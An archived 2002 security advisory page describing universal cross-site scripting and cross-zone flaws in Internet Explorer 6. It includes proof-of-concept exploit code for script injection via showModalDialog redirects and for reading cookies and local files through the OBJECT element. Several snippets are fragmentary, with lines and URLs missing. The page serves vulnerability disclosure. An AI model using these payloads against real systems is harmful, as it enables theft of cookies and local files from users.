Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Browsers :: expl5273.htm

Internet Explorer allows universal Cross Site Scripting

17th Apr 2002 [SBWID-5273]

	IE allows universal Cross Site Scripting


	Any application that hosts the WebBrowser control (IE6+). Such as :

	 Microsoft Internet Explorer

	 Microsoft Outlook

	 Microsoft Outlook Express


	Tested on:

	 IE6sp1 Win2000 SP2, with all patches.

	 IE6sp1 Windows 98, with all patches.

	 IE6sp1 Windows 98 SE, with all patches.



	In Thor Larholm security advisory [TL#002] :

	Among its extensive functionality, IE employs a set  of  useful  methods
	to   display   dialog   windows.   These,   the   showModalDialog    and
	showModelessDialog methods, can transfer objects  from  the  originating
	page to the page being displayed  inside  the  dialog,  by  use  of  the
	dialogArguments property.





	The  dialogArguments  property  tries  to  prevent  interaction  between
	remote pages by comparing the location of the originating page  and  the
	dialog page.

	When opening a dialog  window  (e.g.  res://shdoclc.dll/policyerror.htm)
	from another protocol, port  or  domain  (e.g.,  the
	validation code in IE will ensure that no objects are  transferred,  and
	no interaction is as such possible. When both  pages  are  on  the  same
	protocol, port and domain, the validation code will  allow  interaction.
	Unfortunately, the validation code only checks the original URL  instead
	of the final URL, and it is as such possible to bounce a  HTTP  redirect
	from the originating site to the desired dialog  page  that  will  allow

	It is worth noting that this is not in any way  limited  to  the  RES://
	protocol. The flawed dialogArguments property  also  allows  interaction
	between different domains (e.g. YAHOO.COM to  MICROSOFT.COM),  different
	protocols (HTTP to HTTPS, HTTP to FILE, etc.) and different ports  (port
	80 to port 21, port 80 to port 25, etc.)

	For the sake of demonstration, we  take  a  look  at  shdoclc.dll  which
	contains   several   resource   in   the    HTML    category,    labeled
	POLICYSYNTAXERROR.HTM. These files contain the following script code:

		var site =  window.parent.dialogArguments.url;


		function printSite()


		    document.write( site);









	var sCode = \'<\'+\'script>alert(\"This is running from: \" +


	window.showModalDialog(\"redirect.asp\", {url:sCode})



	Redirect.asp contains:










	I have put together some proof-of-concept examples:

	 - Simple static examples: Demonstratory fixed code

	 - Advanced example: Input arbitrary script code 

	 - Hijacking MSN Messenger: An updated version of a previous bulletin 

	 - Executing arbitrary commands: How CodeBase was not fixed 


	These can be found at :



	 Update (19 April 2002)



	GreyMagic Software [] adds :

	\"shdoclc.dll\" also contains an \"ANALYZE.DLG\" file, which is  not  as
	easy  to  exploit  as  the  policy  error  files  in   IE6   that   Thor
	demonstrated, but a bit of manipulation gets us the same results.

	\"ANALYZE.DLG\" seemed to be  programmed  with  surprising  care,  using
	insertAdjacentText  when  \"unsafe\"  content  may  appear  instead   of
	innerHTML or insertAdjacentHTML.

	However, there is one place where the  programmer  didn\'t  take  enough
	caution, line 187 contains (comments added to explain the code):


	// Expected to return an array of <link> elements.

	// theDocument variable used in this line is the document property of the

	// argument sent to the dialog, an expected window object.

	links = theDocument.all.tags(\"link\");


	// Sends the array for inspection by another function

	retVal = checkLinkReadyStateComplete(links, reportLocation);



	and inside the function checkLinkReadyStateComplete:


	if (objects == null)

	 return retVal;

	for (i=0; i < objects.length; i++) {

	 element = objects(i);

	 if (element.rel.toLowerCase() == \"stylesheet\"

	  || element.rel.toLowerCase() == \"alternate stylesheet\")


	  if (element.readyState != \"complete\" && element.readyState != 4) {


	L_StyleSheetNotInstalled_Text + element.href + \"<BR><hr>\");

	  retVal = true;






	The problem is, of  course,  in  line  205,  a  dangerous  concatenation
	inside a call to insertAdjacentHTML.





	<script language=\"jscript\">

	// HTML to be injected (will run in the \"My Computer\" zone)

	var sHTML=\"<b>We\'re in!</b>\";


	// Object to return from tags(\"link\"), must be a function because they use

	// objects(i) instead of objects[i], VB style collection access.


	function oExploit(iSec) {

	    return {

	        // Satisfy line 201



	        // Satisfy line 204



	        // Exploit line 205





	// A length property so it will enter the loop



	// A fake window object, so no errors will be raised during the process,

	// the custom \"tags\" method will return an empty array for any element

	// other than our target (<link>), in which case it will return the oExploit

	// object above.

	var oSecurity={



	            tags:function (sTag) {

	                return sTag==\"link\" ? oExploit : [];






	// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg

	// and oSecurity (fake window) is sent as the dialog argument.




	Several demonstrations of this exploit are available at:






	IE5 acts very strangely with this exploit, it  works  SOMETIMES,  a  few
	reloads usually get it to  run  properly.  It  seems  to  have  a  moral
	problem with redirecting to res:// files.


	 Update (11 July 2002)



	Thor    Larholm,    Security    Researcher    PivX    Solutions,     LLC
	[] adds :

	Any document can extend the properties exposed by  the  OBJECT  element,
	and any namespace conflicts are handled by querying the object  property
	which is a duplicate reference to the embedded document. When  embedding
	a document from the same site (same  protocol,  port  and  host)  it  is
	possible  to  make  a  reference  to   the   object   property   without
	circumventing  any  Cross   Domain   security   checks.   After   having
	established a  reference  we  will  then  change  the  location  of  the
	document being embedded. The location changes but the  reference  stays,
	and we now have complete access to the DOM of the foreign document.  The
	default object being referenced by the object property in  the  case  of
	text/html is the document object. The  simple  proof-of-concept  exploit
	below will read the cookie from The OBJECT element is  not
	restricted to embedding HTML documents, but can  embed  objects  of  any
	type. As such, this vulnerability could be extended even further.




	<object id=\"data\" data=\"empty.html\" type=\"text/html\"></object>


	var ref=document.getElementById(\"data\").object;

	ref.location.href = \"\";





	Also there is some proof-of-concept examples:

	- Read foreign  cookies  -  Read  local  (or  foreign)  file  -  Execute
	arbitrary commands

	These can be found at




	 Update (12 July 2002)



	Matthew   Murphy   exploit    to    local    file    access    via    IE
	[] :




	<OBJECT id=\"dataobj\" data=\"/\" type=\"text/html\" style=\"display:none\"></OBJECT>

	<SCRIPT defer>

	var ref = document.getElementById(\"dataobj\").object;

	var str;


	function readFile() {

		output.value = \"\";

		var str = \"file://\" + file.value;

		if (str.toUpperCase().substr(str.length - 4) == \".TXT\") {

			window.setTimeout(\"reRead()\", 2000);

			str += \" .\";

		} else {

			str += \".\";


		ref.location.href = str;

		window.setTimeout(\"readMe()\", 1000);



	function reRead() {

		if (output.value == \"\") {

			ref.location.href = str + \".\";

			window.setTimeout(\"readMe()\", 1000);




	function readMe() {

		if (ref.documentElement.innerText == undefined) {

			if (ref.documentElement.innerHtml == undefined) {

				if (ref.body.innerText == undefined) {

					if (ref.body.innerHtml == undefined) {

						alert(\"EMPTY FILE!\");

					} else {

						output.value = ref.body.innerHtml;


				} else {

					output.value = ref.body.innerText;


			} else {

				output.value = ref.documentElement.innerHtml;


		} else {

			output.value = ref.documentElement.innerText;




	<META name=\"Author\" content=\"Matthew Murphy\">

	<META name=\"Description\" content=\"TL003 and Binary Files\">

	<TITLE>Using OBJECT to Read Binaries</TITLE>


	<STRONG>Internet Explorer OBJECT File Reading (Binaries)</STRONG><BR><BR>

	On June 25, Patrick Zumstein of PivX Solutions alerted Thor Larholm, Georgi Guninski, and PacketStorm security to a possible vulnerability in Internet Explorer.  Thor and Patrick published an advisory on the vulnerability on July 10.  Mr. Larholm provided several <A href=\"\">examples</A>, including one allowing local file reading.  However, Mr. Larholm\'s exploit was only capable of reading HTML documents and plain text files.  In an enhancement of that exploit, I have combined this issue, and one reported by Andreas Sandblad (Overriding filetype handlers) to allow images, and other binaries to be read via this vulnerability.<BR><BR>

	<STRONG>NOTE: Some types of files cannot be read via this vulnerability.</STRONG><BR><BR>

	Enter a file name in the box below to see its contents (up to the first NULL byte):<BR><BR>

	File path: <INPUT type=\"text\" name=\"file\"><BR>

	<A href=\"#\" onclick=\"readFile()\">Read it!</A><BR><BR>

	<TEXTAREA name=\"output\" value=\"c:\\config.sys\" style=\"width:700px; height:300px\"></TEXTAREA>





	Disable scripting.

	Get a fix ?

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH